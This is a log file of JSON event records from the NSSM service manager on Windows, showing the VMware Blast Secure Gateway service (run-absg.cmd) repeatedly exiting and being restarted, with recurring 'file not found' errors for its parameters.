{"@timestamp":1646678878132,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157138}}
{"@timestamp":1646678878133,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157139}}
{"@timestamp":1646678878133,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157140}}
{"@timestamp":1646678878134,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157141}}
{"@timestamp":1646679006721,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157142}}
{"@timestamp":1646679006722,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157143}}
{"@timestamp":1646679006722,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153108","0"]}}},"module":"Application","provider":"nssm","sequence":157144}}
{"@timestamp":1646679006723,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153108","153108","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157145}}
{"@timestamp":1646679006741,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157146}}
{"@timestamp":1646679006742,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157147}}
{"@timestamp":1646679006742,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157148}}
{"@timestamp":1646679006743,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157149}}
{"@timestamp":1646679135226,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157150}}
{"@timestamp":1646679135228,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157151}}
{"@timestamp":1646679135229,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153040","0"]}}},"module":"Application","provider":"nssm","sequence":157152}}
{"@timestamp":1646679135229,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153040","153040","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157153}}
{"@timestamp":1646679135245,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157154}}
{"@timestamp":1646679135245,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157155}}
{"@timestamp":1646679135246,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157156}}
{"@timestamp":1646679135247,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157157}}
{"@timestamp":1646679263812,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157158}}
{"@timestamp":1646679263812,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157159}}
{"@timestamp":1646679263813,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153980","0"]}}},"module":"Application","provider":"nssm","sequence":157160}}
{"@timestamp":1646679263813,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153980","153980","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157161}}
{"@timestamp":1646679263829,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154136","0"]}}},"module":"Application","provider":"nssm","sequence":157162}}
{"@timestamp":1646679263829,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154136","153980","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157163}}
{"@timestamp":1646679263844,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157164}}
{"@timestamp":1646679263844,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157165}}
{"@timestamp":1646679263845,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157166}}
{"@timestamp":1646679263845,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157167}}
{"@timestamp":1646679392337,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157168}}
{"@timestamp":1646679392339,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157169}}
{"@timestamp":1646679392340,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151896","0"]}}},"module":"Application","provider":"nssm","sequence":157170}}
{"@timestamp":1646679392340,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151896","151896","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157171}}
{"@timestamp":1646679392357,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157172}}
{"@timestamp":1646679392357,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157173}}
{"@timestamp":1646679392358,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157174}}
{"@timestamp":1646679392359,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157175}}
{"@timestamp":1646679520860,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157176}}
{"@timestamp":1646679520862,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157177}}
{"@timestamp":1646679520862,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153972","0"]}}},"module":"Application","provider":"nssm","sequence":157178}}
{"@timestamp":1646679520863,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153972","153972","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157179}}
{"@timestamp":1646679520878,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157180}}
{"@timestamp":1646679520878,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157181}}
{"@timestamp":1646679520879,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157182}}
{"@timestamp":1646679520880,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157183}}
{"@timestamp":1646679649360,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157184}}
{"@timestamp":1646679649361,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157185}}
{"@timestamp":1646679649362,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154044","0"]}}},"module":"Application","provider":"nssm","sequence":157186}}
{"@timestamp":1646679649363,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154044","154044","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157187}}
{"@timestamp":1646679649378,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157188}}
{"@timestamp":1646679649379,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157189}}
{"@timestamp":1646679649379,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157190}}
{"@timestamp":1646679649380,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157191}}
{"@timestamp":1646679777863,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157192}}
{"@timestamp":1646679777864,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157193}}
{"@timestamp":1646679777865,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152932","0"]}}},"module":"Application","provider":"nssm","sequence":157194}}
{"@timestamp":1646679777865,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152932","152932","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157195}}
{"@timestamp":1646679777881,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157196}}
{"@timestamp":1646679777881,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157197}}
{"@timestamp":1646679777882,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157198}}
{"@timestamp":1646679777883,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157199}}
{"@timestamp":1646679906458,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157200}}
{"@timestamp":1646679906459,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157201}}
{"@timestamp":1646679906460,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154576","0"]}}},"module":"Application","provider":"nssm","sequence":157202}}
{"@timestamp":1646679906461,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154576","154576","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157203}}
{"@timestamp":1646679906478,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157204}}
{"@timestamp":1646679906479,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157205}}
{"@timestamp":1646679906479,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157206}}
{"@timestamp":1646679906480,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157207}}
{"@timestamp":1646680034972,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157208}}
{"@timestamp":1646680034974,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157209}}
{"@timestamp":1646680034974,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154108","0"]}}},"module":"Application","provider":"nssm","sequence":157210}}
{"@timestamp":1646680034975,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154108","154108","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157211}}
{"@timestamp":1646680034990,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157212}}
{"@timestamp":1646680034991,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157213}}
{"@timestamp":1646680034992,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157214}}
{"@timestamp":1646680034993,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157215}}
{"@timestamp":1646680163552,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157216}}
{"@timestamp":1646680163554,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157217}}
{"@timestamp":1646680163555,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154172","0"]}}},"module":"Application","provider":"nssm","sequence":157218}}
{"@timestamp":1646680163556,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154172","154172","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157219}}
{"@timestamp":1646680163572,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157220}}
{"@timestamp":1646680163573,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157221}}
{"@timestamp":1646680163573,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157222}}
{"@timestamp":1646680163574,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157223}}
{"@timestamp":1646680292052,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157224}}
{"@timestamp":1646680292052,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157225}}
{"@timestamp":1646680292054,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","135840","0"]}}},"module":"Application","provider":"nssm","sequence":157226}}
{"@timestamp":1646680292055,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["135840","135840","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157227}}
{"@timestamp":1646680292070,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157228}}
{"@timestamp":1646680292070,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157229}}
{"@timestamp":1646680292071,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157230}}
{"@timestamp":1646680292071,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157231}}
{"@timestamp":1646680420574,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157232}}
{"@timestamp":1646680420576,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157233}}
{"@timestamp":1646680420577,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153328","0"]}}},"module":"Application","provider":"nssm","sequence":157234}}
{"@timestamp":1646680420577,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153328","153328","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157235}}
{"@timestamp":1646680420593,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157236}}
{"@timestamp":1646680420594,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157237}}
{"@timestamp":1646680420594,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157238}}
{"@timestamp":1646680420595,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157239}}
{"@timestamp":1646680549081,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157240}}
{"@timestamp":1646680549083,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157241}}
{"@timestamp":1646680549083,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153576","0"]}}},"module":"Application","provider":"nssm","sequence":157242}}
